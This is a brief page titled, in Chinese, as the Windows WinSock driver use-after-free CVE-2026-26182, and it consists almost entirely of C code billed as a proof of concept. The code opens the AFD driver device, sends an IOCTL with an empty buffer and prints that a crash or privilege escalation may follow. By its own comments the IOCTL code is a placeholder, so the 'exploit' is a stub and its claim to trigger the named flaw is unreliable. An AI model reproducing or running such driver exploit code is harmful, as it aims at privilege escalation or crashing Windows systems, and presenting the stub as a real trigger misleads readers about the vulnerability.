CVE-2026-26182 Windows WinSock驱动释放后使用漏洞

#include <windows.h> #include <stdio.h> // This is a conceptual PoC for demonstrating the trigger logic. // Actual exploitation requires precise memory manipulation. void TriggerUAF() { HANDLE hDevice; DWORD bytesReturned; char inputBuffer[0x20] = {0}; // Placeholder for IOCTL specific to AFD DWORD IOCTL_AFD_VULN = 0x00012000; // Obtain handle to the AFD driver hDevice = CreateFileA("\\\\.\\Afd", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, 0, NULL); if (hDevice == INVALID_HANDLE_VALUE) { printf("Failed to get device handle. Error: %d\n", GetLastError()); return; } printf("[*] Sending malicious IOCTL to trigger UAF...\n"); // Trigger the Use-After-Free vulnerability DeviceIoControl(hDevice, IOCTL_AFD_VULN, inputBuffer, sizeof(inputBuffer), NULL, 0, &bytesReturned, NULL); printf("[*] Trigger sent. Check if BSOD or privilege escalation occurred.\n"); CloseHandle(hDevice); } int main() { TriggerUAF(); return 0; }